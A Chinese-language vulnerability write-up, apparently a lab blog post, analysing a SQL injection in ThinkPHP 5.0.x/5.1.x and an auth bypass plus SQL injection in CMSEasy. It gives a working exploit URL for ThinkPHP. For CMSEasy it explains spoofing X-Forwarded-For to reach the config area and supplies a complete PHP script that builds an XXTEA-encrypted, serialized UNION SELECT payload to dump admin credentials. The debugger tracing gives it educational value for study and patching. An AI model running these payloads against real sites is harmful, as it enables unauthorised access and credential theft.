这里写目录标题
Thinkphp
介绍
ThinkPHP是一个开源的PHP框架,它是中国的一个流行Web开发框架。ThinkPHP的设计理念主要是"快速开发",它提供了一系列简化开发者工作的工具和特性,如MVC(模型-视图-控制器)架构、自动加载机制、数据库操作层、表单处理、模板引擎等。
漏洞介绍
本次注入漏洞存在于 Builder 类的 parseData 方法中,漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
实现
我采用的是thinkphp5.0.15版本,我将thinkphp搭建在了php_study上。
访问http://127.0.0.1/tp5015/public/index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
即可触发相应的SQL注入漏洞(注意一定要开启thinkphp的debug功能模块,不然看不到SQL注入的信息)
代码追踪
我们可以看更新的一个版本,看到底更新了啥内容,我们发现了一个安全更新,更新在了Bulider.php这个文件里面。
进行php的断点调试
我们将断点下在application/index/index.php,进入到,单步调试insert方法里面
在次单步调试进入到bulider的insert方法里面,发现,在insert方法调用得是parseData方法来处理数据。
单步调试到parseData方法里面,我们传递了三个值,可以清楚的看到程序进入到了inc下,实现了拼接
最后,将处理的数据传data填充到了SQL语句中,造成了SQL注入漏洞。
cmseasy
未授权访问
我们在/lib/admin/admin.php发现了当用户IP和服务器IP相同且ishtml=1的话,就能不执行check_admin,造成未授权访问到config目录中。当然用户的IP地址是可以通过x-forwarded-for进行伪造。
我们打开火狐浏览器下载x-forwarded-for进行登录,就可以直接登录到config目录拿cookie安全码。当然其他的目录是无法访问的,因为我们只是进入到了config目录。
注入的实现
分析代码可以看到当拿到安全码,然后通过front::$args
的base64的解码,解密完之后再利用xxtea_decrypt
这个函数进行解密。最后将这个参数进行了反序列化传入到getrow
中。
写注入语句就很简单了,我们只需要先base64加密、xxtea_encrypt加密、序列化就可以。(因为cmseasy是开源的有xxtea_decrypt解密函数就有xxtea_encrypt加密函数)
bash
<?php
$key = '464a2d6272b97e0228c6b0fd1b7290d8';
$table = array(
'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1
);
echo base64_encode(xxtea_encrypt(serialize($table), $key));
function xxtea_encrypt($str, $key) {
if ($str == "") {
return "";
}
$v = str2long($str, true);
$k = str2long($key, false);
if (count($k) < 4) {
for ($i = count($k); $i < 4; $i++) {
$k[$i] = 0;
}
}
$n = count($v) - 1;
$z = $v[$n];
$y = $v[0];
$delta = 0x9E3779B9;
$q = floor(6 + 52 / ($n + 1));
$sum = 0;
while (0 < $q--) {
$sum = int32($sum + $delta);
$e = $sum >> 2 & 3;
for ($p = 0; $p < $n; $p++) {
$y = $v[$p + 1];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$p] = int32($v[$p] + $mx);
}
$y = $v[0];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$n] = int32($v[$n] + $mx);
}
return long2str($v, false);
}
function long2str($v, $w) {
$len = count($v);
$n = ($len - 1) << 2;
if ($w) {
$m = $v[$len - 1];
if (($m < $n - 3) || ($m > $n)) return false;
$n = $m;
}
$s = array();
for ($i = 0; $i < $len; $i++) {
$s[$i] = pack("V", $v[$i]);
}
if ($w) {
return substr(join('', $s), 0, $n);
}
else {
return join('', $s);
}
}
function str2long($s, $w) {
$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
$v = array_values($v);
if ($w) {
$v[count($v)] = strlen($s);
}
return $v;
}
function int32($n) {
while ($n >= 2147483648) $n -= 4294967296;
while ($n <= -2147483649) $n += 4294967296;
return (int)$n;
}
当代码运行之后会得到一个字符串。
将这个字符串复制给args进行传参就会得到管理员账号和密码(在url传参的时候+
和/
要书写成urlencode编码)
代码追踪
通过断点调试可以看出args传入的值,我们在单步调试进入getrow方法中看到了反序列化的结果
当我们在单步调试进入condition里面发现,如果传入的不是数组,就会走到下面的正则导致注入的失败,所以在写代码的时候将数据写入到一个数组里面。
在往下走发现将key和value进行了拼接,key用的是反引号闭合所以在写代码的时候再userid后面加了一个反引号,用来闭合这边的反引号。
走到这里可以看到condition已经变成了这样,我们的userid成功的实现了闭合
我们在单步调试进入到rec_select_one里面,在单步调试到sql_select里面进行了拼接
最后将row进行了返回,实现了sql注入。
最后将注入到的内容放到了cookie里面